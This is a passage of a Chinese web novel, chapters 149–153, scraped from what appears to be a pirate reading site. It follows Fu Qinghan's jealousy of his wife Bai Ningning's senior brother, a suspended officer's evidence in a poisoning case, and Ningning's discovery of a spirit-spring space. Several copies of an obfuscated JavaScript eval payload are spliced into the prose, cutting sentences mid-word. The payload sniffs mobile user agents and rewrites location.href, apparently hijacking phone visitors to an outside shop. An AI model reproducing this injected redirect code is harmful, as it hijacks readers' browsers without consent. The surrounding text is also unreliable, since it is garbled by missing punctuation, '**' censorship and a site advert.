从凝凝喝药起,傅清寒就一直死死地盯着凝凝的脸。此时当他看到她那舒展开的眉头和脸颊上那一抹转瞬即逝的红晕时,他那颗一直被嫉妒和愤怒的火焰灼烧的心,猛地一颤! 药有效! 第149章 憋屈只能忍着 纯粹的、发自内心的欣喜,瞬间就压倒了所有的负面情绪! 只要她能好起来!只要她能舒服一点! 然而,这份欣喜还没来得及在他的心底完全散开,就被一股更深、更浓的憋屈感,给狠狠地压了下去! 他猛地转头,看向那个正一脸“温润如玉、深藏功与名”的玄冥。 他痛恨这个男人!痛恨他那副故作高深、仿佛一切尽在掌握的姿态!痛恨他用一种“自己人”的口吻,将自己排斥在外! 可偏偏,就是这个他最痛恨的男人,用一碗药,就做到了他费尽心机、动用所有资源都做不到的事——让凝凝的身体,好转了起来。 他傅清寒,第一次,在一个男人面前,感到了彻底的、无能为力的挫败! 他想发作,想揪住这个男人的衣领,质问他到底是谁,到底有什么目的! 可他不能! 因为他看着妻子那明显放松下来的、带着一丝依赖的神情,他知道,在找到“鸾凤佩”之前,在找到能彻底治好凝凝的方法之前,他,以及他怀着孩子的妻子,都必须……仰仗这个男人! 他傅清寒,竟然要靠着其他有着觊觎之心的男人,来保住自己妻子和孩子的命! 这简直是天下间最荒谬讽刺的事情! 他那双深邃的黑眸里,怒气的风暴与看到妻子好转的欣喜交织在一起,最终,全都化为了滔天的、无处发泄的憋屈!那股气,堵在他的胸口,上不去,下不来,烧得他五脏六腑都错了位。 他知道,现在不是意气用事的时候。 这个突然出现的“大师兄”,不管他目的为何,至少在“对付金山居士”和“调理凝凝身体”这两件事上,与他们的目标是一致的。这是一个必须暂时合作的、极其讨厌的、他恨不得立刻就捏死的“盟友”。 傅清寒将所有的情绪,都死死地压在了那双深不见底的眼眸深处。 他走上前,从玄冥手中,强势端过那个已经空了的药碗,声音平淡,却带着占有欲:“多谢。接下来,就不劳烦玄先生了。我太太的身体,我会亲自照顾。”他刻意加重了“我太太”三个字,像一头被挑衅了的雄狮,在不动声色地宣示着自己的**。 玄冥只是微微一笑,那笑容温和包容,仿佛在看一个 闹别扭的孩子:“傅先生不必客气。照顾师妹本就是我这个做师兄的分内之事。”他三言两语就将傅清寒那带着敌意的“宣示”化解成了无理取闹的“客气”。 傅清寒感觉自己一拳打在了棉花上胸口那股憋屈的火烧得更旺了。 而凝凝夹在两个男人中间看看自家丈夫那张黑如锅底的脸又看看师兄那副永远云淡风轻的模样有些无奈地拉了拉傅清寒的衣袖。“清寒我们……该回去了。”她轻声说道“慕白哥他们还担心着呢。” 傅清寒深深地看了玄冥一眼那一眼充满了警告和审视。随即他不再多言小心翼翼地搀扶着凝凝转身向外走去。 “小师妹慢走。”玄冥的声音从身后传来温润如春风“明日此时记得过来喝药。这药需得用晨间第一道带露的竹叶水来熬才能发挥最大药效过时就不灵了。师兄等你。” 傅清寒的脚步 他头也不回地拥着妻子大步流星地走出了那间让他憋屈到了极点的药铺。 —— 回到安全屋别墅一进门就感受到了一股令人窒息的低气压。 客厅里陈慕白正站在窗前一根接一根地抽着烟脚下的烟灰缸里已经堆满了烟头。而陈瑶则像一只被困在笼子里的焦躁小兽在客厅里来回踱步时不时地就抬头看一眼墙上的挂钟小脸上写满了藏不住的焦虑和恐慌。 “哥!这都过去两个小时了!凝凝姐怎么还没回来?那个‘百草堂’到底行不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771305|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行啊?万一……万一……”她的话说到一半就不敢再说下去眼圈瞬间就红了。 “别胡思乱想!”陈慕白沉声打断她但那紧锁的眉头和指间颤抖的烟火却暴露了他同样不平静的内心。 就在这时大门“咔哒”一声被推开了。 “凝凝姐!” 陈瑶像是听到了天籁之音猛地抬起头第一时间就向着门口冲了过去! 陈慕白也立刻掐灭了烟快步跟上。 然而当他们看清门口的情形时两人的心都瞬间提到了嗓子眼! 只见傅清寒正小心翼翼地、几乎是用一种“半抱半扶”的姿势搀扶着白凝凝走进来。而凝 凝的脸色依旧苍白脚步也有些虚浮似乎随时都可能倒下。 “凝凝姐!你怎么样?!”陈瑶冲到凝凝身边想伸手去扶 陈慕白也快步上前目光落在凝凝那毫无血色的脸上心中一沉刚想开口询问。 凝凝看着他们那写满了担忧的脸心中一暖连忙对着他们露出了一个安抚的、略带虚弱的笑容:“我没事你们别担心。今天……遇到了一位故人他……” 她的话还没说完陈瑶那双一直紧紧盯着她的大眼睛忽然“咦?”了一声。 她像是发现了什么不可思议的事情猛地凑近了些小鼻子几乎要贴到凝凝的脸上上上下下、仔仔上上下下地打量着那双原本写满了焦虑的眼睛里此刻却透出了一丝惊奇和困惑。 “奇怪……”她喃喃自语又后退一步歪着头仔仔细细地看。 “瑶瑶你看什么呢?”凝凝被她看得有些不好意思。 “凝凝姐”陈瑶的语气从刚才的焦急变成了此刻的难以置信“我怎么觉得……你的脸色好像比出门的时候……好了一点点?” 被她这么一说陈慕白也立刻推了推眼镜凑近了仔细端详。 这一看他也发现了不对劲。 第150章 把人请回来 凝凝虽然看起来依旧虚弱,但那种仿佛生命之火随时会熄灭的、令人心悸的死灰色,已经褪去了不少。她的嘴唇,不再是那种毫无生气的青白色,而是有了一丝极淡的、几乎看不见的粉色。尤其是她的眼睛,不再是之前的黯淡无光,此刻,竟像是蒙尘的黑曜石被擦拭过一般,透出了一丝微弱、却又真实存在的亮光! “确实。”陈慕白扶着凝凝的另一只胳膊,感受着她脉搏的跳动,虽然依旧微弱,但比出门前那若有若无的状态,已经平稳了许多。他那颗一直悬着的心,终于稍稍落下,脸上露出了如释重负的惊喜:“凝凝,你的精神状态,真的好转了!那位医生……” “是我大师兄。”凝凝的脸上,露出了一丝重逢的喜悦和温暖,“我没想到,会在这里遇到他。他为我诊了脉,还给我喝了药,我觉得……身体是舒服了很多。” “大师兄?!” 陈慕白眼中闪过一丝了然的精光。 而陈瑶,在确认了凝凝真的没有生命危险,并且情况真的在好转之后,陈瑶那颗高悬的心脏“砰”的一声落回了肚子里!她先是长长地舒了一口气,拍了拍自己的小胸脯,脸上露出劫后余生的庆幸。但紧接着,那股属于少女的天性——八卦之火,便以燎原之势,熊熊燃烧了起来! 她的脑海里瞬间就脑补出了一百万字的青梅竹马、两小无猜、久别重逢的年度大戏! “哇哦——!”她发出一声夸张的惊叹,“原来是传说中的师兄啊!我就说嘛!” 她那双滴溜溜转的大眼睛,已经不再关注凝凝的病情,而是迅速地,转移到了从进门开始就一言不发、脸色黑如锅底、周身散发着“生人勿近”的冰冷寒气,与凝凝那明显好转的气色形成了极其鲜明、极其诡异的强烈反差的——傅清寒身上! 一边是劫后余生的春暖花开。 一边是脸黑如锅底的冰封雪地。 陈瑶的小脑袋瓜里,瞬间就明白了所有!那双狡黠的大眼睛里,闪过了然的、看热闹不嫌事大的光芒! “哎哟?”她故意拖长了语调,挽住凝凝的胳膊,用不大不小、却刚好能让某人听得清清楚楚的音量,明知故问地说道,“这就奇怪了。我们凝凝姐是遇到了神医,捡回半条命。可怎么我们傅大部长,却像是被人抢了 宝贝一样,脸黑得跟炭似的?这不合理啊?” 凝凝哭笑不得,连忙用手肘轻轻地顶了她一下:“瑶瑶,别胡说。” “我哪有胡说!”陈瑶吐了吐舌头,她仗着有凝凝撑腰,胆子也大了起来。她绕到傅清寒面前,煞有介事地摸着下巴,一本正经地“推理”道: “让我猜猜……凝凝姐的病有了起色,这可是天大的好事,傅部长不该高兴吗?可他偏偏不高兴。那就说明,这好事里,肯定有让他不高兴的‘人’。能让凝凝姐的病好起来的,肯定是位神医。这位神医,不仅治好了凝凝姐,还气着了傅部长……啊!我知道了!” 她一拍手掌,做出了最后的“结案陈词”: “这位大师兄,肯定不是白胡子老爷爷!他一定长得特别帅!还特别年轻!而且……他对凝凝姐,肯定特别特别好!” 傅清寒的脸色,又黑了三分! “陈、瑶!” 若是换做以前,陈瑶听到这个声音,早就吓得躲到哥哥身后去了。但今天,她敏锐地发现,傅清寒的这种“凶”,和以前那种纯粹的、上位者的威压不同,里面……竟然夹杂着一丝不易察觉的、名为“恼羞成怒”的窘迫! 她不仅不怕,反而觉得更有趣了! “哥!你快看!他急了!他急了!被我说中心事了!”陈瑶立刻像找到了救兵一样,躲到陈慕白身后,只探出一个小脑袋,对着傅清寒做了个鬼脸。 陈慕白也是强忍着笑意,他拍了拍自家妹妹的头,然后清了清嗓子,一本正经地出来“打圆场”:“好了好了,瑶瑶,别闹了。清寒,你别跟她一般见识。” 他嘴上说着劝架的话,但那双金丝眼镜后的眼睛里,却闪烁着与陈瑶如出一辙的、看好戏的笑意。 傅清寒看着眼前这默契十足、一唱一和的兄妹俩,只觉得胸口那股憋屈的火,烧得更旺了。他这辈子,还从没这么窝火过!偏偏,他还发作不得! 他深吸一口气,决定无视这对可恶的兄妹,径直走到凝凝身边,正想说点什么。 —— 就在这时,别墅的大门被推开,苏文赫和赵承熙领着一个神情紧张、却又强撑着一股不服输劲头的年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771306|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻人,风尘仆仆地回来了。 他正是**。 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节) **一 进门,就被客厅里这群气场强大到令人窒息的人物给震住了。 他的目光,第一时间就落在了那个坐在沙发主位、明明什么都没说,却让他感觉像面对一座冰山的男人身上。 他认得他! 他永远也忘不了那天在荔湾大厦楼下,就是这个男人!他当时就想冲上去,告诉他们这不是“意外,是**!可他还没靠近,就被上司和同事给死死地拦住了。 他从外面各种纷杂的传闻里知道,这个男人,就是传说中那位来自京市的、连港市高层都要礼让三分的傅先生。 傅清寒的目光,落在了**身上。 他虽然不认识眼前这个年轻人,但从他那紧张、局促,却又带着一丝孤注一掷的眼神里,读出了一些不同寻常的东西。 他没有立刻说话,而是用一种极具压迫感的、审视的目光,从上到下地打量着这个年轻人。 **被他看得头皮发麻,后背瞬间就冒出了一层冷汗。但他没有躲闪,而是想起了自己被停职的**,想起了那三条枉死的生命,一股热血冲上头顶!他挺直了腰杆,迎着那冰冷的目光,用尽全身的力气,让自己看起来不那么像个被吓破了胆的菜鸟。 苏文赫笑着打破了沉默,他拍了拍**的肩膀,对傅清寒说道:“傅哥,这位就是你说的警局里不瞎的,心存公道正义的警官,**李警官。他今天主动找到了我们说了‘荔湾命案’是**,我们的猜测是真的。我把他带回来了。 说完,他又对**介绍道:“李警官,这位,就是傅先生。 “傅……傅先生好!**激动得心脏砰砰直跳,他下意识地就要敬礼,但又想起自己现在穿着便服,还被停了职,动作做到一半,显得有些滑稽和手足无措。 傅清寒的脸上依旧没有任何表情,他只是淡淡地开口,声音不高,却带着一种直击人心的力量: “苏文赫说,你觉得‘荔湾命案’是**。依据是什么? 第151章 最后的证据 他没有客套,没有寒暄,一开口,就是最核心直接的质询。既是提问,也是考验。 **深吸一口气,他知道,这是他唯一的机会。他强压下内心的紧张,将自己所有的发现和推测,包括那三个死者之间微弱的联系、现场勘查时发现的疑点,以及自己对“意外死亡”结论的强烈质疑,一五一十地、条理清晰地,全部汇报了出来。 随着他的讲述,客厅里所有人的表情,都渐渐变得凝重起来。 当**汇报完毕,整个客厅陷入了短暂的沉默。新的问题也摆在了面前。 “现在最大的问题是,我们没有任何直接证据。”陈慕白推了推眼镜,一针见血地指出,“据我所知,警署那边已经将所有相关的物证,以‘案件需要’为由,全部封存了。我们现在空有推测,根本无法对金山那种人,形成任何有效的打击。” 苏文赫也无奈地摊了摊手:“是啊,我派人去接触过那个医学生,他所有的研究资料和血液样本都被收走了,现在整个人都快崩溃了。这条线,也断了。” 一时间,刚刚燃起的希望之火,似乎又被一盆冷水当头浇下。气氛再次陷入了僵局。 就在傅清寒、陈慕白这些运筹帷幄的“大男人”都感到棘手,眉头紧锁之际—— “证据,不一定非要从警局里拿。” 一个清冷而又笃定的声音,缓缓响起。 所有人的目光,瞬间都聚焦到了那个一直安静地坐在沙发上,仿佛置身事外的白凝凝身上。 只见她缓缓地站起身,走到**面前,那双清亮得仿佛能洞悉一切的眸子静静地看着他,开口道: “李警官,我问你,你去现场时,除了眼睛看,还带走了什么东西吗?” **一愣,随即像是想起了什么,脸色一变,连忙从自己随身的夹克内袋里,小心翼翼地取出了一个小小的、用证物袋密封好的纸包。 “有!”他激动地说道,“当时我检查其中一个死者尸体的时候,发现他指甲缝里,好像有一些白色的粉末。我当时觉得很奇怪,就偷偷刮下来了一点,藏了起来!本来想送去化验,结果还没来得及,我就被停职了……” 所有人的眼睛,瞬间都亮了! 这是现场留下的、唯一的、最后 的线索! 凝凝接过那个小小的纸包,点了点头,对**说道:“很好。你做得很好。 她没有急着打开,而是转身对傅清寒说:“我需要一个绝对安静的房间,一盏最亮的灯,还有一套银针。 傅清寒一听这话,眉头瞬间就锁了起来。 他刚刚才亲眼看到凝凝因为劳累而脸色煞白,现在她又要独自一人去研究这些不知名的毒物,还要动用那最耗费心神的银针和内力? “不行。他想也没想,直接否决,声音里是自带的强势和保护欲。 他上前一步,从她手中拿过那个纸包,语气沉了下来:“你的身体,不许再乱来。把方法告诉我们,我们可以去找全世界最好的毒理专家来分析。 凝凝看着他那副紧张又霸道的模样,知道他是真的在担心自己。她心里一暖,但还是摇了摇头,重新从他手里,将纸包拿了回来。 “来不及了。她的声音很轻,却异常坚定,“而且以对方的手段,极有可能不是普通科学能解释的。只有我能看出来。而且…… 她抬起头,那双清亮的眸子,静静地看着他,里面带着一丝他无法拒绝的恳求和决心: “清寒,这是我们现在唯一的机会了。我们早一天揪出凶手,就能早一天拿回‘鸾凤佩’。为了我们的孩子,我必须试一试。 “我有分寸。她补充道。 “分寸?傅清寒被她这句轻飘飘的话给气笑了。 他上前一步,高大的身影几乎将她完全笼罩,那双深邃的黑眸里,翻涌着压抑的怒火和更深的心疼。 他伸出手,修长的手指带着一丝薄茧,看似强硬实则轻柔地,点了点她光洁的额头,语气沉了下来: “你每次都说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771307|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有分寸!结果呢?哪次不是把自己累到脸都白了才肯停下?! 凝凝被他这句带着亲昵关心的质问,问得有些心虚,脸颊不由得微微一热。 而站在一旁的赵承熙,在听到这句话时,身体却微不可察地一僵。 凝凝当初为了救自己,熬心费力将假死的自己拉回来,她付出了何等惨重的代价?后面自己得以重见天日,夺回赵家,这份恩情,他赵承熙怕是一辈子都还不清了。 傅清寒没有理会旁人的反 应。他所有的注意力都集中在眼前这个不知爱惜自己的小妻子身上。 她抬起头那双清亮的眸子静静地看着他。他看着她那双写满了“相信我”的眼睛看着她眼底那抹因为虚弱而挥之不去的青色…和里面带着他无法拒绝的恳求和决心。 最终还是败下阵来。 他猛地闭上眼深吸一口气再睁开时眼中所有的怒火和霸道都化为了拿她没办法的宠溺和妥协。 “……好。”他从牙缝里挤出了这一个字但他加了一个条件。 “我陪你。” 凝凝一愣:“但我不习惯身边有人你在旁边会打扰到我。” “我不进去。”傅清寒的语气缓和了几分但目光依然坚定“我就在门口守着。有任何不对我立刻就冲进去。这是底线没得商量。” 凝凝只能点头“好。” 半小时后在别墅二楼的一间书房里。 凝凝坐在书桌前神情专注。她因为孕期劳累加上近日来分析案情而心神耗损脸色显得有些苍白。 她小心翼翼地将那点珍贵如金的白色粉末倒在一张白纸上。然后她屏住呼吸催动体内那为数不多的内力汇聚于指尖捻起一根细如牛毛的银针准备探入粉末之中。 然而就在她内力运转的那一刻腹中突然传来一阵熟悉的、**般的抽痛! “唔……” 她闷哼一声只觉得眼前一黑一股强烈的、无法抗拒的眩晕感瞬间席卷了她的所有感官!她的身体一软 第152章 灵泉空间 她的意识,仿佛坠入了一个无尽而又温暖的漩涡。 当她再次睁开眼时,却发现自己置身于一个如梦似幻的地方。 这里仙气缭绕,但并不广阔,只有大约一间屋子大小。脚下是一小块肥沃到仿佛能渗出油来的黑土地,土地的中央,有一口小小的泉眼,正极其缓慢地、一滴一滴地向外渗着清澈的泉水,散发着沁人心脾的清香。泉眼边,还斜插着一卷古朴的、不知由何种材质制成的书卷,上面隐约可见三个古篆大字——《药神典》。 这是……我的空间?! 凝凝的心,狂跳了起来!她想起来了,这是她前世在一次探险中得到的随身洞府!没想到,它竟然跟着自己,一起穿了过来!居然还会在此时此刻出现! 但,它似乎……也跟着自己一起“元气大伤”了。 眼前的空间,比前世她见到时要小了无数倍,那口本该是奔涌不息的灵泉,如今却变得如同漏水的龙头,半天才凝聚出一滴。 而那片黑土地…… 凝凝的心,猛地一沉! 她记得清清楚楚,前世,这片被她命名为“息壤”的黑土地上,种满了她从世界各地搜罗来的、早已灭绝的奇花异草!每一件都是治病疗伤的的顶级药材! 可现在,那片土地上光秃秃的,空空如也,连一根杂草都看不见! 她所有的心血,她最大的宝库,都没了! 来不及为那些逝去的珍宝而心痛,身体的本能,已经驱使着她跌跌撞撞地跑到那口灵泉边。她俯下身,用手指小心翼翼地接住那好不容易凝聚起来的、珍贵无比的一滴灵泉,送入了口中。 没有想象中磅礴的生命力。 一股清甜甘冽的暖流,如同沙漠中的一滴甘霖,缓缓地渗入她的四肢百骸。 它没有让她瞬间脱胎换骨,却像一只温柔的手,抚平了她因为催动内力而紊乱的气息,缓解了腹中胎儿那躁动不安的**,让她那因为怀孕而极度亏空的身体,得到了一丝宝贵的、却又极其有限的喘息。 “呼——” 凝凝缓缓地吐出一口浊气,那紧绷的神经,在这一刻,终于得到了一丝松弛。 她缓缓站起身,重新打量着这个既熟悉又陌生的地方。 灵泉近乎枯竭,仙草荡然无 存。 虽然心中充满了遗憾,但凝凝的心中,却没有失落,反而涌起了一股与这个空间血脉相连的亲近感。 她走到那卷古朴的《药神典》旁,伸出手指,轻轻地拂去上面并不存在的灰尘。书卷冰凉的触感,让她那颗因为穿书而一直悬浮不安的心找到了可以落地的根。 她知道,只要空间还在,灵泉还在,这片“息壤”就还在。 只要找到足够的能量来滋养它,那些她记忆中的奇花异草,总有一天,会被她重新种满这片土地! 而所谓的“能量”,很有可能,就是她一直在寻找的——七星玉! 她不再是那个需要依靠“鸾凤佩”、依靠玄冥师兄的汤药才能勉强保胎的白凝凝了。 她看着自己的双手,那双曾被傅清寒心疼地包裹在掌心,生怕她累到、伤到的手。 从这一刻起,这双手,将不再仅仅是诊脉和施针。它能触碰到这个世界的本源,能执掌她自己的命运。 凝凝的嘴角,缓缓地勾起了一抹极淡却又无比坚定的弧度。 她知道,她和傅清寒的孩子,有救了。 “凝凝!醒醒!白凝凝!” 耳边传来傅清寒那因为极致的惊慌而变得沙哑、甚至带着一丝颤抖的怒吼。 凝凝的意识被猛地拉回现实,她缓缓地睁开眼,看到的,就是傅清寒那张俊美无俦,此时却写满了焦急和恐惧的脸。 他正将她紧紧地禁锢在怀里,那双一向沉稳的手,此刻却在不受控制地颤抖。 “我没事……”她对他虚弱地笑了笑,想挣扎着坐直身体。 然而,傅清寒却不许。他一把按住她,那双猩红的眼睛死死地盯着她,压制着后怕和怒气地声音几乎是从牙缝里挤出来的: “这就是你说的‘有分寸’?!” “白凝凝,你是不是觉得自己的命很硬,可以随便折腾?!” 他既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771308|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心疼,又愤怒!他气她不爱惜自己,更气自己竟然真的信了她那句“我保证”!眼睁睁地看着她再次在自己面前倒下,这种无能为力的感觉,几乎要将他逼疯! 凝凝看着他那副快要**的模样,知道自己这次是真的把他吓坏了。她心里又是愧疚,又是温暖。 她伸出手,轻轻地抚上他那 因为愤怒而紧绷的脸颊,声音软了下来带着一丝安抚: “对不起……我不是故意的。我就是……有点累了,现在已经好了。 然而下一秒,傅清寒就愣住了。 他看到凝凝的脸色,竟然以一种肉眼可见的速度,迅速地红润了起来!那双原本因为疲惫而略显黯淡的眸子,此刻,更是亮得惊人,仿佛有星辰在其中流转!整个人神采奕奕,与刚才那虚弱的模样,判若两人! “你……傅清寒惊疑不定,他抓起她的手腕,却发现她那原本紊乱虚弱的脉搏,此刻竟然变得平稳有力。 这到底是怎么回事? 看着他那依旧紧锁的眉头和写满担忧的眼睛,灵泉空间的秘密太过骇人,她只是给了他一个“我真的没事的安心眼神。 “等一下再说,我们先说正事。便从他怀里挣脱出来,重新走回了书桌前。 这一次,她没有再用内力。 她只是从自己的小药箱里,取出一个小小的瓷瓶,倒了一杯清水,然后,悄无声息地,将一滴刚刚从空间里带出来的灵泉水,滴入了杯中。 她将那点白色粉末,全部溶于水中。 只见那杯原本清澈的水,在瞬间,就变成了一种诡异的、带着一丝紫黑的颜色,并散发出一股极其微弱的、仿佛来自沼泽深处的腥甜气味。 凝凝端着这杯水,走回了客厅。 “我们猜得没错,这不是普通的毒,是一种会让人产生心脏骤停假象的神经麻痹毒素。这种毒素,必须配合一种特殊的‘引子’才能生效。这种引子,是一种用特殊矿石粉末混合的熏香,长期接触的人,身上会带有一种极淡的、只有在密闭空间用我特制的艾草熏蒸,才能显现出来的‘金属铁锈味’。 第153章 凝凝使坏,故意拱火 全场震惊! 傅清寒看着自己小妻子那自信从容、仿佛会发光的模样,心中的怒火早已被无尽的骄傲和宠溺所取代。他走上前,没有去夸赞她的聪慧,只是伸出温暖的大手,再次抚上她那红润的脸颊,声音依旧沙哑,却满是温柔: “下不为例。” “你放心吧,我真的没事。刚才就是有点脱力,现在已经缓过来了。” 凝凝看着他眼底那还未完全散去的担忧,心中一软。为了让他彻底放心,她决定再给他吃一颗“定心丸”。 “再说了,就算今天有点损耗,也不要紧。反正我明天,就要去师兄那里喝药了。他开的方子最管用了,滋补元气,喝一剂就能全都补回来。有他在,出不了事的。” 她这番话,本意是为了安慰他,告诉他自己有专业的“医疗保障”,让他不要再为自己担惊受怕。 然而,这句话,落入傅清寒的耳中却极其刺耳和伤人! “有他在,出不了事的。” 傅清寒脸上那刚刚还满是温柔和宠溺的表情,瞬间就僵住了。 他缓缓,一寸一寸地抽回了自己的手。那双刚刚还柔情似水的黑眸,此刻已经重新被冰封,甚至比之前更加幽深寒冷。 他所有的担忧,所有的心疼,所有的后怕……在她一句轻飘飘的“有师兄在”面前,都变成了一场彻头彻尾的笑话。 原来,他在这里拼死守护,在她心里,却抵不过那个男人的一剂汤药。 原来那个“师兄”,才是她最终的、最信赖的依靠。他傅清寒到算什么? 一股极致的、冰冷的憋屈感,混杂着连他自己都无法控制的滔天醋意,瞬间淹没了他。 他什么也没说。 只是深深地、深深地看了凝凝一眼,那眼神,复杂到让凝凝的心都漏跳了一拍。 然后,他猛地转过身,大步向指挥室外走去。 “砰!” 一声沉闷的关门声,隔绝了两个世界。 凝凝愣在了原地,有些茫然。 他……又怎么了? 而一旁的陈瑶,则看着这戏剧性的一幕,悄悄地、用手肘顶了顶身边的哥哥陈慕白,用口型无声地说道: “完……蛋……了……醋……坛……子…… 炸……了…… 陈慕白忍俊不禁,陈瑶看着一脸茫然的白凝凝,立刻凑过来,“幸灾乐祸地提醒道:“凝凝姐,你完蛋了!我跟你说,傅大冰山那不是生气,那是火山爆发前的地壳运动!他那个山西老陈醋的坛子,被你一脚踹翻,还撒了一地,酸气都快把人熏晕过去了! 陈慕白也推了推眼镜,用一种“过来人的口吻,看似在教训妹妹,实则是在点醒凝凝:“瑶瑶别胡说。不过凝凝啊,有些话,在男人面前,确实不能乱说。尤其是在一个关心你的男人面前,提另一个男人有多好、多可靠。 凝凝这才后知后觉地反应过来—— 啊啊!原来,他是在吃师兄的醋?! 一股又好气又好笑,又夹杂着诡异甜蜜的情绪,瞬间涌上了她的心头。这个男人,平日里霸道、冷酷、杀伐果断,在外面是人人敬畏的活阎王,怎么一碰到跟她有关的事,就变得这么幼稚,这么……不可理喻? 她无奈地摇了摇头,看来这“火山,还得自己去安抚。 她站起身,在陈瑶那“快去快去,英勇就义的眼神和陈慕白那“自求多福 门,紧闭着,仿佛昭示着主人此时的心情。 凝凝深吸一口气,敲了敲门。 里面,没有半点回应。 她只好轻轻地推开门,走了进去。 书房里没有开灯,只有窗外阴沉的天光,投射进来。傅清寒高大的身影,就背对着她,站在巨大的落地窗前。他只是静静地站在那里,就给整个房间带来了一种孤寂而又冰冷的压迫感,那宽阔的背影上,仿佛写满了“别理我,我正在生气。 凝凝有些失笑,她放轻脚步走上前,从背后伸出手,轻轻地拉了拉他那身姿笔挺的风衣衣袖,声音放得又软又糯: “清寒,你别生气了。我刚才不是那个意思…… 话音未落,傅清寒却猛地一抽手臂,将自己的衣袖从她手中挣脱。 他转过身,但眼神却没有看她,而是固执地望向窗外,用一种冷得能掉下冰渣的、阴阳怪气的语调说道: “我没生气。 没生气?你满脸全身都写满了你在生气,我们又不傻。凝凝看着他那紧绷的侧脸和明显在闹别扭的模样,心中 好笑。 只好耐着性子,像哄一个闹脾气的大孩子一样,上前一步,试图去抱他的腰,声音更软了:“哎呀,我错了还不行吗?在我心里,当然是你最重要了。师兄只是……只是在医术上比较专业嘛。 “专业?! 这一句“医术上比较专业,像是按下了某个**的开关,再次精准地踩中了傅清寒的雷点! 傅清寒的脸,当场就黑了! 他上前一步,高大的身影几乎将她完全笼罩,那双因为压抑了一整天而猩红一片的眼睛,死死地盯着她!压抑了一晚上的怒火、不安、嫉妒和委屈,在这一刻彻底爆发! 他一把抓住她的手腕,几乎是下意识地就想用将她扯到自己面前,好好地质问一番! 然而,就在他的手指即将用力收紧的那一瞬间—— 他感受到手腕处那纤细得仿佛一折就断的触感,感受到她因为自己突然的动作而微微一颤的身体…… 他所有的动作,都猛地一顿! 那股足以捏碎骨头的滔天力道,在触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771309|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰到她肌肤的瞬间就化为了乌有。他的手指,几乎是本能地、不受控制地就松开了,取而代之的,是小心翼翼的轻握,生怕自己那失控的情绪,会弄疼她分毫。 身体的本能,比理智更快地,做出了最诚实的反应——保护她。 而傅清寒自己,也意识到了这一点。 这个发现,让他更加地、无以复加地委屈! 他想发火,想质问,想用最激烈的方式来宣泄心中的不安和嫉妒。可他的身体,他的本能,却在背叛他的“理智,时时刻刻提醒着他——眼前这个小女人,是他捧在手心都怕化了的珍宝,是他舍不得让她受一丁点委屈的命。 他连对她发火的“资格,都被自己的本能亲手剥夺了。 这种想发火又发不出来,满腔的怒意和委屈都堵在胸口,上不去也下不来的感觉,几乎要将他逼疯! 最终,他只能用一种近乎嘶吼的、却又刻意压低了音量,将那些酸到骨子里的话,一句一句地从牙缝里挤出来: “所以,你们可以聊我听不懂的医术,你们有共同的师门回忆,他知道你所有的过去,他比我更懂如何调理你的身体! 他的手,还虚虚地握着她的手腕,不 敢用力却又不肯放开。那双猩红的眼睛里翻涌着惊涛骇浪般的情绪死死地盯着她仿佛一个即将被抛弃的困兽在做着最后的、徒劳的嘶吼: “白凝凝你告诉我除了这张结婚证除了你肚子里的孩子我还有什么是比他更‘专业’的?!” “你既然觉得他那么好那么可靠那你还来找**什么?!去找你师兄啊!” 